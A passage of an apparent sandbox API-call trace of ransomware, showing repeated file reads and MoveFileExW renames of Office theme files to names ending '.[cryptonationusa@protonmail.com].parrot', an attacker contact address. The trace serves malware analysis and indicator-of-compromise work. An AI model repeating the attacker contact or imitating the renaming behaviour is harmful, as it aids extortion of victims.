dwFlags=0x2) returned 1 [0123.497] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0123.497] ReadFile (in: hFile=0x260, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0123.497] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.498] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x249, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x249, lpOverlapped=0x0) returned 1 [0123.498] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0123.498] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.498] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4bb0 [0123.498] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0123.498] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.inf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0123.501] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0123.501] ReadFile (in: hFile=0x260, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0123.503] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.503] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x554, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x554, lpOverlapped=0x0) returned 1 [0123.503] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0123.503] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.503] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4bb0 [0123.503] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0123.503] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0123.506] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0123.506] ReadFile (in: hFile=0x260, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0123.514] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.514] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2d35, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x2d35, lpOverlapped=0x0) returned 1 [0123.515] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0123.515] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.515] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4bb0 [0123.516] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0123.517] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0123.521] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0123.521] ReadFile (in: hFile=0x260, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0123.522] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.522] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x166d5, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x166d5, lpOverlapped=0x0) returned 1 [0123.523] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0123.525] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.525] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4bb0 [0123.525] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0123.526] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.elm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0123.531] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0123.531] ReadFile (in: hFile=0x260, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0123.532] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.532] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1f4, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1f4, lpOverlapped=0x0) returned 1 [0123.532] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0123.532] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.532] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4bb0 [0123.533] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0123.533] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.inf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0123.535] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0123.536] ReadFile (in: hFile=0x260, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0123.547] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.547] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa0e, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xa0e, lpOverlapped=0x0) returned 1 [0123.547] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0123.547] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.547] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4bb0 [0123.547] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0123.548] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0123.551] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0123.551] ReadFile (in: hFile=0x260, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0123.552] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.552] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9240, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x9240, lpOverlapped=0x0) returned 1 [0123.553] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0123.556] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.556] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4bb0 [0123.556] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0123.557] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0123.563] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0123.563] ReadFile (in: hFile=0x260, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0123.565] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.565] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd0e5, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xd0e5, lpOverlapped=0x0) returned 1 [0123.566] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0123.568] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.568] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4bb0 [0123.568] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0123.569] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.elm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0123.572] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0123.573] ReadFile (in: hFile=0x260, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0123.573] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.573] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x21b, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x21b, lpOverlapped=0x0) returned 1 [0123.574] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0123.574] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.574] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4bb0 [0123.574] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0123.574] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.inf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0123.577] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0123.577] ReadFile (in: hFile=0x260, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0123.579] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.579] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x639, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x639, lpOverlapped=0x0) returned 1 [0123.579] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0123.579] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.579] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4bb0 [0123.579] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0123.579] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0123.582] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0123.583] ReadFile (in: hFile=0x260, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0123.584] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.584] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x54f1, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x54f1, lpOverlapped=0x0) returned 1 [0123.585] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0123.586] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.586] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4bb0 [0123.586] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0123.587] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0123.590] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0123.591] ReadFile (in: hFile=0x260, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0123.592] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.592] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x53b, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x53b, lpOverlapped=0x0) returned 1 [0123.592] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0123.592] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.592] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4bb0 [0123.592] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0123.593] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0123.597] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0123.597] ReadFile (in: hFile=0x260, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0123.599] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.599] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb20e, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xb20e, lpOverlapped=0x0) returned 1 [0123.600] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0123.601] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.601] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4bb0 [0123.601] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0123.602] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.elm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0123.604] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0123.604] ReadFile (in: hFile=0x260, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0123.605] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.605] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x24b, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x24b, lpOverlapped=0x0) returned 1 [0123.605] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0123.605] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.606] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4bb0 [0123.606] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0123.606] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.inf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0123.608] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0123.608] ReadFile (in: hFile=0x260, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0123.610] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.610] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4162, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x4162, lpOverlapped=0x0) returned 1 [0123.610] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0123.612] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.612] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4bb0 [0123.612] RtlAllocateHeap 